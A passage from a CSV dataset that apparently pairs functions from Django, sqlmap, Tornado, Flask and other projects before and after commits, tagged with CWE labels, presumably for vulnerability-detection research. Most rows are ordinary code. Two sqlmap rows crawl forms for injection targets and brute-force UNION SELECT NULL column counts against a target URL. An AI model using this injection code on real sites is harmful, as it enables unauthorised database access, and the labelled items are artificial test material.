        dom2 = parse_html('<p>foo</p><p>foo</p>')
        self.assertEqual(dom2.count(dom1), 2)

        dom2 = parse_html('<div><p>foo<input type=""""></p><p>foo</p></div>')
        self.assertEqual(dom2.count(dom1), 1)

        dom2 = parse_html('<div><div><p>foo</p></div></div>')
        self.assertEqual(dom2.count(dom1), 1)

        dom2 = parse_html('<p>foo<p>foo</p></p>')
        self.assertEqual(dom2.count(dom1), 1)

        dom2 = parse_html('<p>foo<p>bar</p></p>')
        self.assertEqual(dom2.count(dom1), 0)

        # HTML with a root element contains the same HTML with no root element.
        dom1 = parse_html('<p>foo</p><p>bar</p>')
        dom2 = parse_html('<div><p>foo</p><p>bar</p></div>')
        self.assertEqual(dom2.count(dom1), 1)

        # Target of search is a sequence of child elements and appears more
        # than once.
        dom2 = parse_html('<div><p>foo</p><p>bar</p><p>foo</p><p>bar</p></div>')
        self.assertEqual(dom2.count(dom1), 2)

        # Searched HTML has additional children.
        dom1 = parse_html('<a/><b/>')
        dom2 = parse_html('<a/><b/><c/>')
        self.assertEqual(dom2.count(dom1), 1)

        # No match found in children.
        dom1 = parse_html('<b/><a/>')
        self.assertEqual(dom2.count(dom1), 0)

        # Target of search found among children and grandchildren.
        dom1 = parse_html('<b/><b/>')
        dom2 = parse_html('<a><b/><b/></a><b/><b/>')
        self.assertEqual(dom2.count(dom1), 2)",CWE-Unknown,django/django,e26a7a8ef41f0d69951affb21655cdc2cf94a209,"def test_count(self):
        # equal html contains each other one time
        dom1 = parse_html('<p>foo')
        dom2 = parse_html('<p>foo</p>')
        self.assertEqual(dom1.count(dom2), 1)
        self.assertEqual(dom2.count(dom1), 1)

        dom2 = parse_html('<p>foo</p><p>bar</p>')
        self.assertEqual(dom2.count(dom1), 1)

        dom2 = parse_html('<p>foo foo</p><p>foo</p>')
        self.assertEqual(dom2.count('foo'), 3)

        dom2 = parse_html('<p class=""bar"">foo</p>')
        self.assertEqual(dom2.count('bar'), 0)
        self.assertEqual(dom2.count('class'), 0)
        self.assertEqual(dom2.count('p'), 0)
        self.assertEqual(dom2.count('o'), 2)

        dom2 = parse_html('<p>foo</p><p>foo</p>')
        self.assertEqual(dom2.count(dom1), 2)

        dom2 = parse_html('<div><p>foo<input type=""""></p><p>foo</p></div>')
        self.assertEqual(dom2.count(dom1), 1)

        dom2 = parse_html('<div><div><p>foo</p></div></div>')
        self.assertEqual(dom2.count(dom1), 1)

        dom2 = parse_html('<p>foo<p>foo</p></p>')
        self.assertEqual(dom2.count(dom1), 1)

        dom2 = parse_html('<p>foo<p>bar</p></p>')
        self.assertEqual(dom2.count(dom1), 0)

        # html with a root element contains the same html with no root element
        dom1 = parse_html('<p>foo</p><p>bar</p>')
        dom2 = parse_html('<div><p>foo</p><p>bar</p></div>')
        self.assertEqual(dom2.count(dom1), 1)"
,UNKNOWN,UNKNOWN,lib/core/common.py,1,"def findPageForms(content, url, raise_=False, addToTargets=False):
    """"""
    Parses given page content for possible forms (Note: still not implemented for Python3)

    >>> findPageForms('<html><form action=""/input.php"" method=""POST""><input type=""text"" name=""id"" value=""1""><input type=""submit"" value=""Submit""></form></html>', 'http://www.site.com') == set([('http://www.site.com/input.php', 'POST', 'id=1', None, None)])
    True
    """"""

    class _(six.StringIO, object):
        def __init__(self, content, url):
            super(_, self).__init__(content)
            self._url = url

        def geturl(self):
            return self._url

    if not content:
        errMsg = ""can't parse forms as the page content appears to be blank""
        if raise_:
            raise SqlmapGenericException(errMsg)
        else:
            logger.debug(errMsg)

    forms = None
    retVal = set()
    response = _(content, url)

    try:
        forms = ParseResponse(response, backwards_compat=False)
    except ParseError:
        if re.search(r""(?i)<!DOCTYPE html|<html"", content or """") and not re.search(r""(?i)\.js(\?|\Z)"", url):
            dbgMsg = ""badly formed HTML at the given URL ('%s'). Going to filter it"" % url
            logger.debug(dbgMsg)
            filtered = _("""".join(re.findall(FORM_SEARCH_REGEX, content)), url)

            if filtered and filtered != content:
                try:
                    forms = ParseResponse(filtered, backwards_compat=False)
                except ParseError:
                    errMsg = ""no success""
                    if raise_:
                        raise SqlmapGenericException(errMsg)
                    else:
                        logger.debug(errMsg)
    except:
        pass

    for form in forms or []:
        try:
            for control in form.controls:
                if hasattr(control, ""items"") and not any((control.disabled, control.readonly)):
                    # if control has selectable items select first non-disabled
                    for item in control.items:
                        if not item.disabled:
                            if not item.selected:
                                item.selected = True
                            break

            if conf.crawlExclude and re.search(conf.crawlExclude, form.action or """"):
                dbgMsg = ""skipping '%s'"" % form.action
                logger.debug(dbgMsg)
                continue

            request = form.click()
        except (ValueError, TypeError) as ex:
            errMsg = ""there has been a problem while ""
            errMsg += ""processing page forms ('%s')"" % getSafeExString(ex)
            if raise_:
                raise SqlmapGenericException(errMsg)
            else:
                logger.debug(errMsg)
        else:
            url = urldecode(request.get_full_url(), kb.pageEncoding)
            method = request.get_method()
            data = request.data
            data = urldecode(data, kb.pageEncoding, spaceplus=False)

            if not data and method and method.upper() == HTTPMETHOD.POST:
                debugMsg = ""invalid POST form with blank data detected""
                logger.debug(debugMsg)
                continue

            # flag to know if we are dealing with the same target host
            _ = checkSameHost(response.geturl(), url)

            if conf.scope:
                if not re.search(conf.scope, url, re.I):
                    continue
            elif not _:
                continue
            else:
                target = (url, method, data, conf.cookie, None)
                retVal.add(target)

    for match in re.finditer(r""\.post\(['\""]([^'\""]*)['\""],\s*\{([^}]*)\}"", content):
        url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
        data = """"

        for name, value in re.findall(r""['\""]?(\w+)['\""]?\s*:\s*(['\""][^'\""]+)?"", match.group(2)):
            data += ""%s=%s%s"" % (name, value, DEFAULT_GET_POST_DELIMITER)

        data = data.rstrip(DEFAULT_GET_POST_DELIMITER)
        retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))

    for match in re.finditer(r""(?s)(\w+)\.open\(['\""]POST['\""],\s*['\""]([^'\""]+)['\""]\).*?\1\.send\(([^)]+)\)"", content):
        url = _urllib.parse.urljoin(url, htmlUnescape(match.group(2)))
        data = match.group(3)

        data = re.sub(r""\s*\+\s*[^\s'\""]+|[^\s'\""]+\s*\+\s*"", """", data)

        data = data.strip(""['\""]"")
        retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))

    if not retVal:
        errMsg = ""there were no forms found at the given target URL""
        if raise_:
            raise SqlmapGenericException(errMsg)
        else:
            logger.debug(errMsg)

    if addToTargets and retVal:
        for target in retVal:
            kb.targets.add(target)

    return retVal",CWE-703,sqlmapproject/sqlmap,404d8481ad959d93f551b6aa75277a5478801c92,"def findPageForms(content, url, raise_=False, addToTargets=False):
    """"""
    Parses given page content for possible forms (Note: still not implemented for Python3)

    >>> findPageForms('<html><form action=""/input.php"" method=""POST""><input type=""text"" name=""id"" value=""1""><input type=""submit"" value=""Submit""></form></html>', 'http://www.site.com') == set([('http://www.site.com/input.php', 'POST', 'id=1', None, None)])
    True
    """"""

    class _(six.StringIO, object):
        def __init__(self, content, url):
            super(_, self).__init__(content)
            self._url = url

        def geturl(self):
            return self._url

    if not content:
        errMsg = ""can't parse forms as the page content appears to be blank""
        if raise_:
            raise SqlmapGenericException(errMsg)
        else:
            logger.debug(errMsg)

    forms = None
    retVal = set()
    response = _(content, url)

    try:
        forms = ParseResponse(response, backwards_compat=False)
    except ParseError:
        if re.search(r""(?i)<!DOCTYPE html|<html"", content or """"):
            dbgMsg = ""badly formed HTML at the given URL ('%s'). Going to filter it"" % url
            logger.debug(dbgMsg)
            filtered = _("""".join(re.findall(FORM_SEARCH_REGEX, content)), url)

            if filtered and filtered != content:
                try:
                    forms = ParseResponse(filtered, backwards_compat=False)
                except ParseError:
                    errMsg = ""no success""
                    if raise_:
                        raise SqlmapGenericException(errMsg)
                    else:
                        logger.debug(errMsg)
    except:
        pass

    for form in forms or []:
        try:
            for control in form.controls:
                if hasattr(control, ""items"") and not any((control.disabled, control.readonly)):
                    # if control has selectable items select first non-disabled
                    for item in control.items:
                        if not item.disabled:
                            if not item.selected:
                                item.selected = True
                            break

            if conf.crawlExclude and re.search(conf.crawlExclude, form.action or """"):
                dbgMsg = ""skipping '%s'"" % form.action
                logger.debug(dbgMsg)
                continue

            request = form.click()
        except (ValueError, TypeError) as ex:
            errMsg = ""there has been a problem while ""
            errMsg += ""processing page forms ('%s')"" % getSafeExString(ex)
            if raise_:
                raise SqlmapGenericException(errMsg)
            else:
                logger.debug(errMsg)
        else:
            url = urldecode(request.get_full_url(), kb.pageEncoding)
            method = request.get_method()
            data = request.data
            data = urldecode(data, kb.pageEncoding, spaceplus=False)

            if not data and method and method.upper() == HTTPMETHOD.POST:
                debugMsg = ""invalid POST form with blank data detected""
                logger.debug(debugMsg)
                continue

            # flag to know if we are dealing with the same target host
            _ = checkSameHost(response.geturl(), url)

            if conf.scope:
                if not re.search(conf.scope, url, re.I):
                    continue
            elif not _:
                continue
            else:
                target = (url, method, data, conf.cookie, None)
                retVal.add(target)

    for match in re.finditer(r""\.post\(['\""]([^'\""]*)['\""],\s*\{([^}]*)\}"", content):
        url = _urllib.parse.urljoin(url, htmlUnescape(match.group(1)))
        data = """"

        for name, value in re.findall(r""['\""]?(\w+)['\""]?\s*:\s*(['\""][^'\""]+)?"", match.group(2)):
            data += ""%s=%s%s"" % (name, value, DEFAULT_GET_POST_DELIMITER)

        data = data.rstrip(DEFAULT_GET_POST_DELIMITER)
        retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))

    for match in re.finditer(r""(?s)(\w+)\.open\(['\""]POST['\""],\s*['\""]([^'\""]+)['\""]\).*?\1\.send\(([^)]+)\)"", content):
        url = _urllib.parse.urljoin(url, htmlUnescape(match.group(2)))
        data = match.group(3)

        data = re.sub(r""\s*\+\s*[^\s'\""]+|[^\s'\""]+\s*\+\s*"", """", data)

        data = data.strip(""['\""]"")
        retVal.add((url, HTTPMETHOD.POST, data, conf.cookie, None))

    if not retVal:
        errMsg = ""there were no forms found at the given target URL""
        if raise_:
            raise SqlmapGenericException(errMsg)
        else:
            logger.debug(errMsg)

    if addToTargets and retVal:
        for target in retVal:
            kb.targets.add(target)

    return retVal"
functions_for_tornado_with_cwe.csv,UNKNOWN,UNKNOWN,tornado/gen.py,0,"def wrapper(*args, **kwargs):
        # type: (*Any, **Any) -> Future[_T]
        # This function is type-annotated with a comment to work around
        # https://bitbucket.org/pypy/pypy/issues/2868/segfault-with-args-type-annotation-in
        future = _create_future()
        try:
            result = func(*args, **kwargs)
        except (Return, StopIteration) as e:
            result = _value_from_stopiteration(e)
        except Exception:
            future_set_exc_info(future, sys.exc_info())
            try:
                return future
            finally:
                # Avoid circular references
                future = None  # type: ignore
        else:
            if isinstance(result, Generator):
                # Inline the first iteration of Runner.run.  This lets us
                # avoid the cost of creating a Runner when the coroutine
                # never actually yields, which in turn allows us to
                # use ""optional"" coroutines in critical path code without
                # performance penalty for the synchronous case.
                try:
                    yielded = next(result)
                except (StopIteration, Return) as e:
                    future_set_result_unless_cancelled(
                        future, _value_from_stopiteration(e)
                    )
                except Exception:
                    future_set_exc_info(future, sys.exc_info())
                else:
                    # Provide strong references to Runner objects as long
                    # as their result future objects also have strong
                    # references (typically from the parent coroutine's
                    # Runner). This keeps the coroutine's Runner alive.
                    # We do this by exploiting the public API
                    # add_done_callback() instead of putting a private
                    # attribute on the Future.
                    # (GitHub issues #1769, #2229).
                    runner = Runner(result, future, yielded)
                    future.add_done_callback(lambda _: runner)
                yielded = None
                try:
                    return future
                finally:
                    # Subtle memory optimization: if next() raised an exception,
                    # the future's exc_info contains a traceback which
                    # includes this stack frame.  This creates a cycle,
                    # which will be collected at the next full GC but has
                    # been shown to greatly increase memory usage of
                    # benchmarks (relative to the refcount-based scheme
                    # used in the absence of cycles).  We can avoid the
                    # cycle by clearing the local variable after we return it.
                    future = None  # type: ignore
        future_set_result_unless_cancelled(future, result)
        return future",CWE-Unknown,tornadoweb/tornado,87ef27fa8490d74b7d51056b04a3dc08c2494cb9,"def wrapper(*args, **kwargs):
        # type: (*Any, **Any) -> Future[_T]
        # This function is type-annotated with a comment to work around
        # https://bitbucket.org/pypy/pypy/issues/2868/segfault-with-args-type-annotation-in
        future = _create_future()
        try:
            result = func(*args, **kwargs)
        except (Return, StopIteration) as e:
            result = _value_from_stopiteration(e)
        except Exception:
            future_set_exc_info(future, sys.exc_info())
            try:
                return future
            finally:
                # Avoid circular references
                future = None  # type: ignore
        else:
            if isinstance(result, Generator):
                # Inline the first iteration of Runner.run.  This lets us
                # avoid the cost of creating a Runner when the coroutine
                # never actually yields, which in turn allows us to
                # use ""optional"" coroutines in critical path code without
                # performance penalty for the synchronous case.
                try:
                    yielded = next(result)
                except (StopIteration, Return) as e:
                    future_set_result_unless_cancelled(
                        future, _value_from_stopiteration(e)
                    )
                except Exception:
                    future_set_exc_info(future, sys.exc_info())
                else:
                    # Provide strong references to Runner objects as long
                    # as their result future objects also have strong
                    # references (typically from the parent coroutine's
                    # Runner). This keeps the coroutine's Runner alive.
                    # We do this by exploiting the public API
                    # add_done_callback() instead of putting a private
                    # attribute on the Future.
                    # (Github issues #1769, #2229).
                    runner = Runner(result, future, yielded)
                    future.add_done_callback(lambda _: runner)
                yielded = None
                try:
                    return future
                finally:
                    # Subtle memory optimization: if next() raised an exception,
                    # the future's exc_info contains a traceback which
                    # includes this stack frame.  This creates a cycle,
                    # which will be collected at the next full GC but has
                    # been shown to greatly increase memory usage of
                    # benchmarks (relative to the refcount-based scheme
                    # used in the absence of cycles).  We can avoid the
                    # cycle by clearing the local variable after we return it.
                    future = None  # type: ignore
        future_set_result_unless_cancelled(future, result)
        return future"
,UNKNOWN,UNKNOWN,django/forms/forms.py,1,"def label_tag(self, contents=None, attrs=None, label_suffix=None):
        """"""
        Wraps the given contents in a <label>, if the field has an ID attribute.
        contents should be 'mark_safe'd to avoid HTML escaping. If contents
        aren't given, uses the field's HTML-escaped label.

        If attrs are given, they're used as HTML attributes on the <label> tag.

        label_suffix allows overriding the form's label_suffix.
        """"""
        contents = contents or self.label
        if label_suffix is None:
            label_suffix = (self.field.label_suffix if self.field.label_suffix is not None
                            else self.form.label_suffix)
        # Only add the suffix if the label does not end in punctuation.
        # Translators: If found as last label character, these punctuation
        # characters will prevent the default label_suffix to be appended to the label
        if label_suffix and contents and contents[-1] not in _(':?.!'):
            contents = format_html('{0}{1}', contents, label_suffix)
        widget = self.field.widget
        id_ = widget.attrs.get('id') or self.auto_id
        if id_:
            id_for_label = widget.id_for_label(id_)
            if id_for_label:
                attrs = dict(attrs or {}, **{'for': id_for_label})
            if self.field.required and hasattr(self.form, 'required_css_class'):
                attrs = attrs or {}
                if 'class' in attrs:
                    attrs['class'] += ' ' + self.form.required_css_class
                else:
                    attrs['class'] = self.form.required_css_class
            attrs = flatatt(attrs) if attrs else ''
            contents = format_html('<label{0}>{1}</label>', attrs, contents)
        else:
            contents = conditional_escape(contents)
        return mark_safe(contents)",CWE-79,django/django,5eb81ce44532596ecc1c781d93f3421a467a6206,"def label_tag(self, contents=None, attrs=None, label_suffix=None):
        """"""
        Wraps the given contents in a <label>, if the field has an ID attribute.
        contents should be 'mark_safe'd to avoid HTML escaping. If contents
        aren't given, uses the field's HTML-escaped label.

        If attrs are given, they're used as HTML attributes on the <label> tag.

        label_suffix allows overriding the form's label_suffix.
        """"""
        contents = contents or self.label
        # Only add the suffix if the label does not end in punctuation.
        label_suffix = label_suffix if label_suffix is not None else self.form.label_suffix
        # Translators: If found as last label character, these punctuation
        # characters will prevent the default label_suffix to be appended to the label
        if label_suffix and contents and contents[-1] not in _(':?.!'):
            contents = format_html('{0}{1}', contents, label_suffix)
        widget = self.field.widget
        id_ = widget.attrs.get('id') or self.auto_id
        if id_:
            id_for_label = widget.id_for_label(id_)
            if id_for_label:
                attrs = dict(attrs or {}, **{'for': id_for_label})
            if self.field.required and hasattr(self.form, 'required_css_class'):
                attrs = attrs or {}
                if 'class' in attrs:
                    attrs['class'] += ' ' + self.form.required_css_class
                else:
                    attrs['class'] = self.form.required_css_class
            attrs = flatatt(attrs) if attrs else ''
            contents = format_html('<label{0}>{1}</label>', attrs, contents)
        else:
            contents = conditional_escape(contents)
        return mark_safe(contents)"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/inband/union/test.py,0,"def __unionTestByNULLBruteforce(comment, negative=False, falseCond=False):
    """"""
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """"""

    columns = None
    query   = agent.prefixQuery(""UNION ALL SELECT NULL"")

    for count in range(0, conf.uCols+1):
        if kb.dbms == DBMS.ORACLE and query.endswith("" FROM DUAL""):
            query = query[:-len("" FROM DUAL"")]

        if count:
            query += "", NULL""

        if kb.dbms == DBMS.ORACLE:
            query += "" FROM DUAL""

        commentedQuery = agent.suffixQuery(query, comment)
        payload = agent.payload(newValue=commentedQuery, negative=negative, falseCond=falseCond)
        test, seqMatcher = Request.queryPage(payload, getSeqMatcher=True)

        if test or seqMatcher >= 0.6:
            columns = count + 1

            break

    return columns",,sqlmapproject/sqlmap,17486e472a3c05cae2ae92d5887a922b7ac7aacf,"def __unionTestByNULLBruteforce(comment, negative=False, falseCond=False):
    """"""
    This method tests if the target url is affected by an inband
    SQL injection vulnerability. The test is done up to 50 columns
    on the target database table
    """"""

    columns = None
    query   = agent.prefixQuery(""UNION ALL SELECT NULL"")

    for count in range(0, conf.uCols+1):
        if kb.dbms == DBMS.ORACLE and query.endswith("" FROM DUAL""):
            query = query[:-len("" FROM DUAL"")]

        if count:
            query += "", NULL""

        if kb.dbms == DBMS.ORACLE:
            query += "" FROM DUAL""

        commentedQuery = agent.postfixQuery(query, comment)
        payload = agent.payload(newValue=commentedQuery, negative=negative, falseCond=falseCond)
        test, seqMatcher = Request.queryPage(payload, getSeqMatcher=True)

        if test or seqMatcher >= 0.6:
            columns = count + 1

            break

    return columns"
functions_for_flask_with_cwe.csv,UNKNOWN,UNKNOWN,src/flask/sansio/app.py,0,"def add_url_rule(
        self,
        rule: str,
        endpoint: str | None = None,
        view_func: ft.RouteCallable | None = None,
        provide_automatic_options: bool | None = None,
        **options: t.Any,
    ) -> None:
        if endpoint is None:
            endpoint = _endpoint_from_view_func(view_func)  # type: ignore
        options[""endpoint""] = endpoint
        methods = options.pop(""methods"", None)

        # if the methods are not given and the view_func object knows its
        # methods we can use that instead.  If neither exists, we go with
        # a tuple of only ``GET`` as default.
        if methods is None:
            methods = getattr(view_func, ""methods"", None) or (""GET"",)
        if isinstance(methods, str):
            raise TypeError(
                ""Allowed methods must be a list of strings, for""
                ' example: @app.route(..., methods=[""POST""])'
            )
        methods = {item.upper() for item in methods}

        # Methods that should always be added
        required_methods: set[str] = set(getattr(view_func, ""required_methods"", ()))

        # starting with Flask 0.8 the view_func object can disable and
        # force-enable the automatic options handling.
        if provide_automatic_options is None:
            provide_automatic_options = getattr(
                view_func, ""provide_automatic_options"", None
            )

        if provide_automatic_options is None:
            if ""OPTIONS"" not in methods and self.config[""PROVIDE_AUTOMATIC_OPTIONS""]:
                provide_automatic_options = True
                required_methods.add(""OPTIONS"")
            else:
                provide_automatic_options = False

        # Add the required methods now.
        methods |= required_methods

        rule_obj = self.url_rule_class(rule, methods=methods, **options)
        rule_obj.provide_automatic_options = provide_automatic_options  # type: ignore[attr-defined]

        self.url_map.add(rule_obj)
        if view_func is not None:
            old_func = self.view_functions.get(endpoint)
            if old_func is not None and old_func != view_func:
                raise AssertionError(
                    ""View function mapping is overwriting an existing""
                    f"" endpoint function: {endpoint}""
                )
            self.view_functions[endpoint] = view_func",,pallets/flask,e8b91cd38aadafdf733558bbcea4810fa65bb849,"def add_url_rule(
        self,
        rule: str,
        endpoint: str | None = None,
        view_func: ft.RouteCallable | None = None,
        provide_automatic_options: bool | None = None,
        **options: t.Any,
    ) -> None:
        if endpoint is None:
            endpoint = _endpoint_from_view_func(view_func)  # type: ignore
        options[""endpoint""] = endpoint
        methods = options.pop(""methods"", None)

        # if the methods are not given and the view_func object knows its
        # methods we can use that instead.  If neither exists, we go with
        # a tuple of only ``GET`` as default.
        if methods is None:
            methods = getattr(view_func, ""methods"", None) or (""GET"",)
        if isinstance(methods, str):
            raise TypeError(
                ""Allowed methods must be a list of strings, for""
                ' example: @app.route(..., methods=[""POST""])'
            )
        methods = {item.upper() for item in methods}

        # Methods that should always be added
        required_methods = set(getattr(view_func, ""required_methods"", ()))

        # starting with Flask 0.8 the view_func object can disable and
        # force-enable the automatic options handling.
        if provide_automatic_options is None:
            provide_automatic_options = getattr(
                view_func, ""provide_automatic_options"", None
            )

        if provide_automatic_options is None:
            if ""OPTIONS"" not in methods and self.config[""PROVIDE_AUTOMATIC_OPTIONS""]:
                provide_automatic_options = True
                required_methods.add(""OPTIONS"")
            else:
                provide_automatic_options = False

        # Add the required methods now.
        methods |= required_methods

        rule_obj = self.url_rule_class(rule, methods=methods, **options)
        rule_obj.provide_automatic_options = provide_automatic_options  # type: ignore[attr-defined]

        self.url_map.add(rule_obj)
        if view_func is not None:
            old_func = self.view_functions.get(endpoint)
            if old_func is not None and old_func != view_func:
                raise AssertionError(
                    ""View function mapping is overwriting an existing""
                    f"" endpoint function: {endpoint}""
                )
            self.view_functions[endpoint] = view_func"
,UNKNOWN,UNKNOWN,tests/admin_views/tests.py,1,"def test_list_editable_popups(self):
        """"""
        list_editable foreign keys have add/change popups.
        """"""
        from selenium.webdriver.support.ui import Select
        s1 = Section.objects.create(name='Test section')
        Article.objects.create(
            title='foo',
            content='<p>Middle content</p>',
            date=datetime.datetime(2008, 3, 18, 11, 54, 58),
            section=s1,
        )
        self.admin_login(username='super', password='secret', login_url=reverse('admin:index'))
        self.selenium.get(self.live_server_url + reverse('admin:admin_views_article_changelist'))
        # Change popup
        self.selenium.find_element_by_id('change_id_form-0-section').click()
        self.wait_for_popup()
        self.selenium.switch_to.window(self.selenium.window_handles[-1])
        self.wait_for_text('#content h1', 'Change section')
        name_input = self.selenium.find_element_by_id('id_name')
        name_input.clear()
        name_input.send_keys('<i>edited section</i>')
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.selenium.switch_to.window(self.selenium.window_handles[0])
        select = Select(self.selenium.find_element_by_id('id_form-0-section'))
        self.assertEqual(select.first_selected_option.text, '<i>edited section</i>')

        # Add popup
        self.selenium.find_element_by_id('add_id_form-0-section').click()
        self.wait_for_popup()
        self.selenium.switch_to.window(self.selenium.window_handles[-1])
        self.wait_for_text('#content h1', 'Add section')
        self.selenium.find_element_by_id('id_name').send_keys('new section')
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.selenium.switch_to.window(self.selenium.window_handles[0])
        select = Select(self.selenium.find_element_by_id('id_form-0-section'))
        self.assertEqual(select.first_selected_option.text, 'new section')",CWE-259,django/django,6fa150b2f8b601668083042324c4add534143cb1,"def test_list_editable_popups(self):
        """"""
        list_editable foreign keys have add/change popups.
        """"""
        from selenium.webdriver.support.ui import Select
        s1 = Section.objects.create(name='Test section')
        Article.objects.create(
            title='foo',
            content='<p>Middle content</p>',
            date=datetime.datetime(2008, 3, 18, 11, 54, 58),
            section=s1,
        )
        self.admin_login(username='super', password='secret', login_url=reverse('admin:index'))
        self.selenium.get(self.live_server_url + reverse('admin:admin_views_article_changelist'))
        # Change popup
        self.selenium.find_element_by_id('change_id_form-0-section').click()
        self.wait_for_popup()
        self.selenium.switch_to.window(self.selenium.window_handles[-1])
        self.wait_for_text('#content h1', 'Change section')
        name_input = self.selenium.find_element_by_id('id_name')
        name_input.clear()
        name_input.send_keys('edited section')
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.selenium.switch_to.window(self.selenium.window_handles[0])
        select = Select(self.selenium.find_element_by_id('id_form-0-section'))
        self.assertEqual(select.first_selected_option.text, 'edited section')

        # Add popup
        self.selenium.find_element_by_id('add_id_form-0-section').click()
        self.wait_for_popup()
        self.selenium.switch_to.window(self.selenium.window_handles[-1])
        self.wait_for_text('#content h1', 'Add section')
        self.selenium.find_element_by_id('id_name').send_keys('new section')
        self.selenium.find_element_by_xpath('//input[@value=""Save""]').click()
        self.selenium.switch_to.window(self.selenium.window_handles[0])
        select = Select(self.selenium.find_element_by_id('id_form-0-section'))
        self.assertEqual(select.first_selected_option.text, 'new section')"
,UNKNOWN,UNKNOWN,tests/contrib/hooks/test_jira_hook.py,1,"def test_jira_client_connection(self, jira_mock):
        jira_hook = JiraHook()

        self.assertTrue(jira_mock.called)
        self.assertIsInstance(jira_hook.client, Mock)
        self.assertEqual(jira_hook.client.name, jira_mock.return_value.name)",CWE-703,apache/airflow,3ceb3abf166b77ea8baeb9015d33223143cdfb8a,"def test_jira_client_connection(self, jira_mock):
        jira_hook = JiraHook()

        assert jira_mock.called
        self.assertIsInstance(jira_hook.client, Mock)
        self.assertEqual(jira_hook.client.name, jira_mock.return_value.name)"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,lib/ansible/modules/database/misc/kibana_plugin.py,0,"def parse_plugin_repo(string):
    elements = string.split(""/"")

    # We first consider the simplest form: pluginname
    repo = elements[0]

    # We consider the form: username/pluginname
    if len(elements) > 1:
        repo = elements[1]

    # remove elasticsearch- prefix
    # remove es- prefix
    for string in (""elasticsearch-"", ""es-""):
        if repo.startswith(string):
            return repo[len(string):]

    return repo",,ansible/ansible,c57a7f05e1b37084110d2b1bc219b40fc9023ffa,"def parse_plugin_repo(string):
    elements = string.split(""/"")

    # We first consider the simplest form: pluginname
    repo = elements[0]

    # We consider the form: username/pluginname
    if len(elements) > 1:
        repo = elements[1]

    # remove elasticsearch- prefix
    # remove es- prefix
    for string in (""elasticsearch-"", ""es-""):
        if repo.startswith(string):
            return repo[len(string):]

    return repo"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,django/db/migrations/writer.py,0,"def path(self):
        migrations_package_name = MigrationLoader.migrations_module(self.migration.app_label)
        # See if we can import the migrations module directly
        try:
            migrations_module = import_module(migrations_package_name)

            # Python 3 fails when the migrations directory does not have a
            # __init__.py file
            if not hasattr(migrations_module, '__file__'):
                raise ImportError

            basedir = os.path.dirname(migrations_module.__file__)
        except ImportError:
            app_config = apps.get_app_config(self.migration.app_label)
            migrations_package_basename = migrations_package_name.split(""."")[-1]

            # Alright, see if it's a direct submodule of the app
            if '%s.%s' % (app_config.name, migrations_package_basename) == migrations_package_name:
                basedir = os.path.join(app_config.path, migrations_package_basename)
            else:
                # In case of using MIGRATION_MODULES setting and the custom
                # package doesn't exist, create one.
                package_dirs = migrations_package_name.split(""."")
                create_path = os.path.join(sys.path[0], *package_dirs)
                if not os.path.isdir(create_path):
                    os.makedirs(create_path)
                for i in range(1, len(package_dirs) + 1):
                    init_dir = os.path.join(sys.path[0], *package_dirs[:i])
                    init_path = os.path.join(init_dir, ""__init__.py"")
                    if not os.path.isfile(init_path):
                        open(init_path, ""w"").close()
                return os.path.join(create_path, self.filename)
        return os.path.join(basedir, self.filename)",CWE-Unknown,django/django,66a99fa21076529a5e71996a8862597284403727,"def path(self):
        migrations_package_name = MigrationLoader.migrations_module(self.migration.app_label)
        # See if we can import the migrations module directly
        try:
            migrations_module = import_module(migrations_package_name)
            basedir = os.path.dirname(migrations_module.__file__)
        except ImportError:
            app_config = apps.get_app_config(self.migration.app_label)
            migrations_package_basename = migrations_package_name.split(""."")[-1]

            # Alright, see if it's a direct submodule of the app
            if '%s.%s' % (app_config.name, migrations_package_basename) == migrations_package_name:
                basedir = os.path.join(app_config.path, migrations_package_basename)
            else:
                # In case of using MIGRATION_MODULES setting and the custom
                # package doesn't exist, create one.
                package_dirs = migrations_package_name.split(""."")
                create_path = os.path.join(sys.path[0], *package_dirs)
                if not os.path.isdir(create_path):
                    os.makedirs(create_path)
                for i in range(1, len(package_dirs) + 1):
                    init_dir = os.path.join(sys.path[0], *package_dirs[:i])
                    init_path = os.path.join(init_dir, ""__init__.py"")
                    if not os.path.isfile(init_path):
                        open(init_path, ""w"").close()
                return os.path.join(create_path, self.filename)
        return os.path.join(basedir, self.filename)"
functions_for_mlflow_with_cwe.csv,UNKNOWN,UNKNOWN,tests/pytorch/test_pytorch_model_export.py,0,"def load_context(self, context):
            # pylint: disable=attribute-defined-outside-init
            self.pytorch_model = mlflow.pytorch.load_model(context.artifacts[""pytorch_model""])",,mlflow/mlflow,9ebab719e53fb3924ea21434d4fe45b9868daf8a,"def load_context(self, context):
            # pylint: disable=attribute-defined-outside-init
            self.pytorch_model = mlflow.pytorch.load_model(context.artifacts[""pytorch_model""])"
,UNKNOWN,UNKNOWN,salt/daemons/flo/core.py,1,"def action(self):
        '''
        Initial pillar
        '''
        # default master is the first remote that is allowed
        available_masters = [remote for remote in self.road_stack.value.remotes.values()
                                               if remote.allowed]
        while not available_masters:
            available_masters = [remote for remote in self.road_stack.value.remotes.values()
                                                           if remote.allowed]
            time.sleep(0.1)

        random_master = self.opts.value.get('random_master')
        if random_master:
            master = available_masters[random.randint(0, len(available_masters) - 1)]
        else:
            master = available_masters[0]

        self.master_estate_name.value = master.name

        route = {'src': (self.road_stack.value.local.name, None, None),
                 'dst': (master.name, None, 'remote_cmd')}
        load = {'id': self.opts.value['id'],
                'grains': self.grains.value,
                'saltenv': self.opts.value['environment'],
                'ver': '2',
                'cmd': '_pillar'}
        self.road_stack.value.transmit({'route': route, 'load': load},
                                       uid=master.uid)
        self.road_stack.value.serviceAll()
        while True:
            time.sleep(0.1)
            while self.road_stack.value.rxMsgs:
                msg, sender = self.road_stack.value.rxMsgs.popleft()
                self.pillar.value = msg.get('return', {})
                if self.pillar.value is None:
                    continue
                self.opts.value['pillar'] = self.pillar.value
                self.pillar_refresh.value = False
                return
